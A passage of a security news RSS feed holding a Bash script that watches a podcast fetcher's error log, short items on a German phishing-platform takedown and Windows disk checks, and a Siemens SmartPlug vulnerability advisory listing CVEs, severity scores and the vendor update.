
<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hunderttausende Opfer: BKA zerschlägt große Phishing-Plattform - Golem.de]]></title>
<description><![CDATA[Vertriebsmitarbeiter (m/w/d) – IT / Cyber-Security consistec ... SecurityCybercrimeDatensicherheitServerHackerPolizeiBKA. Kommentare. Error ...]]></description>
<link>https://tsecurity.de/de/3684958/it-security-nachrichten/hunderttausende-opfer-bka-zerschlaegt-grosse-phishing-plattform-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684958/it-security-nachrichten/hunderttausende-opfer-bka-zerschlaegt-grosse-phishing-plattform-golemde/</guid>
<pubDate>Wed, 22 Jul 2026 00:40:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vertriebsmitarbeiter (m/w/d) – IT / <b>Cyber</b>-<b>Security</b> consistec ... SecurityCybercrimeDatensicherheitServerHackerPolizeiBKA. Kommentare. Error ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Hard Drive Errors: How to Check and Fix Them in Windows]]></title>
<description><![CDATA[If you are experiencing hard drive errors such as Read / Write errors and noisy sounds, it’s time to check your hard drive because these issues may affect the overall performance of your computer. Windows comes with built-in utilities to check hard drives, and scanning your drive using the Error ...]]></description>
<link>https://tsecurity.de/de/3684575/betriebssysteme/hard-drive-errors-how-to-check-and-fix-them-in-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684575/betriebssysteme/hard-drive-errors-how-to-check-and-fix-them-in-windows/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:23 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you are experiencing hard drive errors such as Read / Write errors and noisy sounds, it’s time to check your hard drive because these issues may affect the overall performance of your computer. Windows comes with built-in utilities to check hard drives, and scanning your drive using the Error Checking tool can help diagnose […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/how-to-check-your-hard-drive-for-errors-and-fix-it/">Hard Drive Errors: How to Check and Fix Them in Windows</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIDIS Secured SmartPlug]]></title>
<description><![CDATA[View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The ...]]></description>
<link>https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIDIS Secured SmartPlug are affected:</p>
<ul>
<li>SIDIS Secured SmartPlug vers:intdot/&lt;7.26.0310 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIDIS Secured SmartPlug</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23303</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23303">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23304</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37660</a></h3>
<div class="csaf-accordion-content">
<p>In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37660">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/323.html">CWE-323 Reusing a Nonce, Key Pair in Encryption</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-48174</a></h3>
<div class="csaf-accordion-content">
<p>There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-48174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5222</a></h3>
<div class="csaf-accordion-content">
<p>A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5914</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5914">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-26465</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-26465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/390.html">CWE-390 Detection of Error Condition Without Action</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-32462</a></h3>
<div class="csaf-accordion-content">
<p>Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-32462">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.8</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-5121</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-5121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
